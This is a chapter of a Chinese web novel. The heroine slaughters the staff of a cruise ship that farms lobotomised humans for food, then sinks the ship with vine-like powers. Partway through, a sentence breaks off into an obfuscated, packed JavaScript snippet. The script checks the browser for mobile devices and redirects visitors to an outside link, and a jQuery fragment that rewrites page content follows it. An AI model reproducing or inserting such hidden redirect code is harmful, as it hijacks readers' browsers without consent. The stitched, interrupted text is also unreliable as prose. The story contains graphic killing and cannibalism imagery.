38. 人与人羊
作品:《我离人生赢家只差一场考核[无限]》 夏浔身形一动,手中的匕首瞬间出鞘,径直划过女人的脖子。女人的笑容瞬间凝固,眼睛圆睁,满是难以置信,她甚至没来得及发出一声惨叫,脖子间就喷出一道滚烫的鲜血,直直地溅在平板上,染红了屏幕上那些残忍的照片。她的身体软软地倒在地上,彻底没了气息。
夏浔没有丝毫停顿,迅速翻入点餐台,手指在平板上快速滑动,找到了控制那些玻璃房间门的开关按键。她眼神冰冷,毫不犹豫地按下按键,一键全选——开门。
“咔哒、咔哒、咔哒……”
一连串的开门声响起,两侧玻璃房间的门,纷纷缓缓打开。她的动作,很快被一旁的客人和安保觉察到,尖叫声瞬间响起,此起彼伏,打破了邮轮的宁静。
“不好!出事了!”
“这位客人不是纯粹喜欢杀死侍者——她是在闹事!她要释放那些人羊!”
“为了您的安全,请其他客人迅速回到自己的房间!请迅速回到房间!安保人员,快,控制住她!”
广播里,立刻响起了急促的警示声,语气里带着几分慌乱,却依旧试图安抚客人。夏浔嘴角勾起一抹淡淡的冷笑——为了让客人们“安心”地食用人羊,避免不必要的麻烦,这些安保人员,连枪都没有携带,只随身携带了防止人羊反抗的电棍,此刻在她面前,犹如蝼蚁一般,不堪一击。
几个安保人员见状,立刻手持电棍,朝着夏浔冲了过来,电棍发出“滋滋”的电流声,带着微弱的蓝光。夏浔身形灵活,侧身避开第一个安保人员的攻击,抬手一挥,匕首划过他的手腕,电棍“哐当”一声掉在地上,安保人员发出一声惨叫,捂着流血的手腕,倒在地上。其他安保人员见状,依旧不死心,纷纷朝着她扑来,却都被夏浔轻松解决,匕首每一次挥动,都能带来一阵惨叫与鲜血。
不到五分钟,邮轮第一层的所有安保人员,就被夏浔全部杀死,尸体横七竖八地躺在地上,鲜血染红了厚厚的波斯地毯,与昂贵的香薰味混合在一起,令人作呕。那些客人,早已吓得魂飞魄散,纷纷尖叫着,争先恐后地跑回自己的房间,关上房门,不敢再出来。
夏浔收起匕首,抬起头,看了一眼那些敞开房门的玻璃房间,脸上的笑容瞬间消失,取而代之的是一丝愣住——没有一个人趁机逃走。
那些被关押在房间里的“人羊”们,即使外面爆发了动乱,即使房门已经打开,也依旧乖乖地坐在地上,一动不动,眼神空洞,面无表情,没有丝毫想要逃走的念头,仿佛早已习惯了被关押、被食用的命运,只是静静地等待着,等待自己被选中,被宰杀,被吃掉……
夏浔皱了皱眉,一步步走到第一个玻璃房间前,停下脚步,轻轻敲了敲玻璃,语气平淡地问道:“你们为什么不逃?门已经开了,你们可以走了。”
房间里的人羊,没有丝毫反应,依旧低着头,面无表情,仿佛没有听到她的话一般。夏浔又接连走到好几间房间前,试图和他们说话,询问他们的情况,可无论她怎么说,怎么敲玻璃,那些人羊都没有任何反应,眼神空洞,像一群没有灵魂的木偶。
就在这时,邮轮的广播再次响起,语气依旧平静,甚至带着几分耐心的安抚,仿佛刚才的屠杀,从未发生过一般:【客人,或许您是第一次来到我们的邮轮,对我们的规矩还不太了解。】
【这些是我们精心饲养的人羊,在饲养过程中,早已为他们摘除了前额叶,他们失去了自我意识,并非完整的人类。】
【他们虽然长得与我们相似,但本质上,只是供我们食用的食物,与牛羊无异。请您不要误会,我们是合法企业,所有的人羊,都是经过正规渠道“饲养”的,绝对符合规定。】
【我们理解您第一次到来的无措与慌乱,但请您不要慌张,您并未造成不可逆的影响。您未曾伤害我们的同伴,点餐台的侍者及安保,不过是我们饲养的高级人羊,您可以随意处置,无需有任何心理负担。】
【您若依旧感到慌张,可以联系您的登记者确认,了解我们邮轮的相关规矩。】
广播声缓缓落下,夏浔站在原地,浑身冰冷,一股刺骨的寒意,从脚底直入骨髓。她不可思议地看着那些玻璃房间里的人羊,又看了看地上的尸体——他们直到现在,还在安抚她,还在试图说服她,甚至,对于她杀死的侍者和安保,无动于衷,因为在他们眼里,那些人,也不过是供人食用的“高级人羊”。
原来,最可怕的不是残忍的屠杀,而是这种深入骨髓的冷漠与扭曲——将同类当作食物,将剥夺生命当作理所当然,连一丝一毫的愧疚与怜悯,都没有。
夏浔紧紧攥着拳头,指尖因为用力而泛白,眼底的冰冷与杀意,越来越浓。
她垂眸,目光落在手腕内侧——那里不知何时浮现出一道淡绿色的光纹,正缓缓跳动,清晰地显示着时间。距离传送到蓝星,还有一个小时。
足够了。
这三个字在心底缓缓落下,夏浔缓缓闭上双眼,眉心微蹙,全力调动体内的力量——那是寺庙女人的赐福与棺材内神明力量融合后的诡异能量,顺着经脉,疯狂地涌向四肢百骸。一股酥麻又酸胀的痛感传来,她的手脚渐渐失去原本的形态,化作翠绿的藤蔓,带着湿润的水汽,向外疯狂蔓延。
藤蔓破土而出般,先是穿透脚下厚厚的波斯地毯,留下细密的孔洞;紧接着,尖锐的藤尖划破光滑的瓷砖,根系深深扎入地板之下;再然后,它们顺着墙壁的缝隙攀爬、穿刺,硬生生穿透坚硬的墙体,连邮轮厚重的钢铁甲板,在藤尖面前都如同薄纸一般,被轻而易举地刺穿,留下一个个不规则的破洞。
坚固的邮轮,在疯狂生长的藤蔓面前,脆弱得不堪一击。无数藤蔓交织缠绕,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203612|197309||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿透船体的每一个角落,原本豪华整洁的走廊、客房、墓穴,渐渐变得千疮百孔,断裂的木板、破碎的玻璃、扭曲的钢铁,伴随着藤蔓的生长,纷纷坠落、坍塌,发出刺耳的碎裂声。
广播室里,那些之前还故作平静、冷漠安抚的人,此刻终于慌了神。夏浔清晰地听到,广播里传来慌乱的呼喊声、尖叫声,还有桌椅倒塌的碰撞声,原本平稳的广播音,变得支离破碎,满是恐惧:“怎、怎么回事?船体怎么破了?!”“是那个女人!是她搞的鬼!快,快启动应急预案!”“救命!藤蔓!好多藤蔓!”
听到这些绝望的尖叫,夏浔缓缓睁开双眼,眼底没有丝毫波澜,嘴角却勾起一抹冰冷而嘲讽的笑容,声音不大,却清晰地传遍了邮轮的每一个角落,带着不容置疑的威严,像神明的宣判:“如果说他们对你们而言,只是任人宰割的人羊,那你们于我,也不过是蝼蚁一般,微不足道。”
她抬起化作藤蔓的手掌,轻轻挥动,无数藤蔓瞬间收紧,又猛地舒展,船体的破洞变得更大,海水开始疯狂涌入。“能够被献祭给我,或许,你们应该感到荣幸——毕竟,我现在,就是你们的神。”
她终于体会到了神秘侧力量的强大,无需费力厮杀,仅凭藤蔓的生长与穿刺,便足以摧毁一切。不到一个小时的时间,原本庞大豪华的邮轮,在藤蔓的肆虐下,早已千疮百孔,船体渐渐倾斜、下沉,海水疯狂地涌入每一个房间,吞噬着一切。不论是那些高高在上、以食用同类为乐的客人与教徒,还是那些被摘除前额叶、任人宰割的人羊,都在冰冷的海水中,共同归于死亡,没有一丝例外。
夏浔漂浮在海水中,抬起手,看了看自己每根手指化作的翠绿藤蔓,藤尖还沾着细碎的血肉与海水,微微蠕动着,带着诡异的生机。她轻轻皱了皱眉,语气里带着几分无奈的吐槽:“虽然是自己的身体,但这副半人半藤的模样,真是掉san值啊……”
她轻轻叹了口气,藤尖轻轻拂过身边的海水,语气渐渐平静下来:“不过还好,我现在算是半株植物,在水里也能自由呼吸——既然这样,便查一查,还有没有和我一样,能在水里呼吸、侥幸存活的人吧。”
话音落下,无数细小的藤蔓从她身上蔓延而出,如同细密的蛛网,顺着海水向四周扩散,探查着每一处角落。那些藤蔓带着敏锐的感知,凡是有生命气息的地方,都会微微颤动,可直到藤蔓扩散到邮轮沉没的整个区域,都没有察觉到丝毫活物的气息。
传送倒计时的最后一秒,夏浔抬眸,望向那艘已经彻底沉入海底、只留下零星碎片漂浮在海面上的邮轮,嘴角再次勾起一抹淡淡的笑容,声音轻柔,却带着彻骨的冰冷:“脏的东西,便永远沉没在深海吧,再也不要出现。”
话音落下的瞬间,一道耀眼的白光从她身上亮起,包裹住她的身躯,正是传送的光芒。

